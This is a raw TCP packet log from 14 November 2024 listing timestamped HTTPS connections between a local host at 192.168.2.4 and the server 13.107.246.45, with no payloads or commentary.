Nov 14, 2024 20:43:47.579499960 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.579514980 CET	443	49983	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.647881985 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.648401976 CET	49981	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.648433924 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.648720026 CET	49981	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.648726940 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.751368999 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.751424074 CET	443	49985	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.781661987 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.781754017 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.781805038 CET	49981	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.781970978 CET	49981	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.781981945 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.781991959 CET	49981	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.781996965 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.784435034 CET	49990	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.784528017 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.784591913 CET	49990	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.784751892 CET	49990	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.784786940 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.021289110 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.021758080 CET	49987	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.021804094 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.022176981 CET	49987	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.022190094 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.030963898 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.031275034 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.031310081 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.031595945 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.031608105 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.124510050 CET	443	49986	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.124857903 CET	49986	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.124880075 CET	443	49986	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.125204086 CET	49986	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.125209093 CET	443	49986	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.151561022 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.151637077 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.151819944 CET	49987	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.151892900 CET	49987	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.151892900 CET	49987	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.151932955 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.151958942 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.154458046 CET	49991	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.154548883 CET	443	49991	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.154627085 CET	49991	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.154738903 CET	49991	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.154774904 CET	443	49991	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.160430908 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.160934925 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.160983086 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.161000013 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.161076069 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.161076069 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.161077023 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.162981987 CET	49992	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.163070917 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.163163900 CET	49992	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.163285017 CET	49992	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.163321972 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.202028036 CET	443	49989	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.202564955 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.202629089 CET	443	49989	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.202892065 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.202908039 CET	443	49989	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.256134987 CET	443	49986	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.256187916 CET	443	49986	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.256381989 CET	49986	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.256381989 CET	49986	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.256459951 CET	49986	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.256469011 CET	443	49986	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.258780003 CET	49993	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.258805037 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.258909941 CET	49993	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.259056091 CET	49993	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.259067059 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.334777117 CET	443	49989	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.334846020 CET	443	49989	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.335155964 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.335155964 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.335155964 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.337291002 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.337378025 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.337605000 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.337605000 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.337693930 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.471110106 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.471174002 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.516396046 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.517039061 CET	49990	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.517127991 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.517322063 CET	49990	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.517338037 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.643050909 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.643116951 CET	443	49989	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.647762060 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.648267984 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.648344994 CET	49990	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.648431063 CET	49990	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.648431063 CET	49990	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.648473024 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.648500919 CET	443	49990	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.651005983 CET	49995	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.651035070 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.651344061 CET	49995	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.651344061 CET	49995	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.651379108 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.900491953 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.901035070 CET	49992	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.901098013 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.901722908 CET	49992	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.901737928 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.902694941 CET	443	49991	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.903251886 CET	49991	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.903337955 CET	443	49991	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:48.903672934 CET	49991	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:48.903687954 CET	443	49991	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.020524979 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.021374941 CET	49993	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.021374941 CET	49993	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.021383047 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.021394014 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.028733015 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.028850079 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.028959990 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.029071093 CET	49992	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.029124975 CET	49992	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.029124975 CET	49992	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.029159069 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.029187918 CET	443	49992	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.031369925 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.031464100 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.031708956 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.031708956 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.031795979 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.040663004 CET	443	49991	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.041398048 CET	443	49991	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.041507006 CET	49991	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.041507006 CET	49991	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.041593075 CET	49991	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.041631937 CET	443	49991	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.043529987 CET	49997	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.043565035 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.043745041 CET	49997	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.043800116 CET	49997	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.043804884 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.074186087 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.075021029 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.075021029 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.075088024 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.075141907 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.154634953 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.154706001 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.154756069 CET	49993	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.154865026 CET	49993	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.154865026 CET	49993	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.154877901 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.154886007 CET	443	49993	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.157280922 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.157366037 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.157526970 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.157588959 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.157612085 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.206773996 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.206806898 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.206861973 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.207021952 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.207021952 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.207021952 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.207179070 CET	49994	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.207217932 CET	443	49994	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.210203886 CET	49999	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.210216999 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.214499950 CET	49999	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.214500904 CET	49999	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.214520931 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.421936989 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.422442913 CET	49995	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.422458887 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.422993898 CET	49995	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.422997952 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.560360909 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.560641050 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.560707092 CET	49995	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.560772896 CET	49995	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.560772896 CET	49995	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.560787916 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.560795069 CET	443	49995	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.563246965 CET	50000	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.563272953 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.563349009 CET	50000	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.563635111 CET	50000	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.563647032 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.772128105 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.772794962 CET	49997	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.772814035 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.773200035 CET	49997	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.773204088 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.804526091 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.804848909 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.804867029 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.805186987 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.805198908 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.892918110 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.893376112 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.893439054 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.893846035 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.893858910 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.901391029 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.901442051 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.901483059 CET	49997	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.901715994 CET	49997	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.901731014 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.901778936 CET	49997	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.901782990 CET	443	49997	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.904397964 CET	50001	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.904488087 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.904961109 CET	50001	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.905148983 CET	50001	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.905185938 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.935862064 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.936275005 CET	49999	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.936288118 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:49.936608076 CET	49999	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:49.936614037 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.022770882 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.022808075 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.022855997 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.022936106 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.022936106 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.023029089 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.023065090 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.023096085 CET	49998	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.023112059 CET	443	49998	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.025211096 CET	50002	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.025243998 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.027338028 CET	50002	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.027338028 CET	50002	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.027364016 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.050474882 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.050493002 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.050525904 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.050570965 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.050570965 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.050842047 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.050842047 CET	49996	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.050883055 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.050910950 CET	443	49996	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.053108931 CET	50003	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.053165913 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.053241968 CET	50003	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.053339005 CET	50003	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.053364038 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.063776016 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.063827991 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.064101934 CET	49999	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.066823006 CET	49999	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.066837072 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.066905975 CET	49999	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.066910028 CET	443	49999	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.077969074 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.077994108 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.078041077 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.078144073 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.078152895 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.332429886 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.333487988 CET	50000	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.333487988 CET	50000	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.333508015 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.333519936 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.471421957 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.471450090 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.471493959 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.471575975 CET	50000	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.471992970 CET	50000	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.471992970 CET	50000	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.472006083 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.472013950 CET	443	50000	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.474287987 CET	50005	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.474378109 CET	443	50005	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.474486113 CET	50005	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.474618912 CET	50005	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.474654913 CET	443	50005	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.633126020 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.634094000 CET	50001	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.634094000 CET	50001	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.634160042 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.634222031 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.760305882 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.762208939 CET	50002	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.762208939 CET	50002	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.762221098 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.762237072 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.764874935 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.764966011 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.765228987 CET	50001	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.765317917 CET	50001	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.765317917 CET	50001	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.765361071 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.765397072 CET	443	50001	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.768326044 CET	50006	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.768364906 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.768537998 CET	50006	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.768537998 CET	50006	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.768567085 CET	443	50006	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.771435976 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.772305965 CET	50003	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.772305965 CET	50003	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.772331953 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.772376060 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.814166069 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.814588070 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.814599037 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.815084934 CET	50004	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.815088987 CET	443	50004	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.898061037 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.898109913 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.898183107 CET	50002	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.898452044 CET	50002	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.898452044 CET	50002	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.898463011 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.898469925 CET	443	50002	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.901109934 CET	50007	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.901202917 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.901361942 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.901398897 CET	50007	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.901406050 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.901469946 CET	50007	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.901484966 CET	443	50007	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.901520014 CET	50003	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.901788950 CET	50003	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.901808023 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.901840925 CET	50003	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.901849985 CET	443	50003	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.904215097 CET	50008	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.904261112 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.904428005 CET	50008	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.904428005 CET	50008	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:50.904469013 CET	443	50008	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:50.946413040 CET	443	50004	13.107.246.45	192.168.2.4
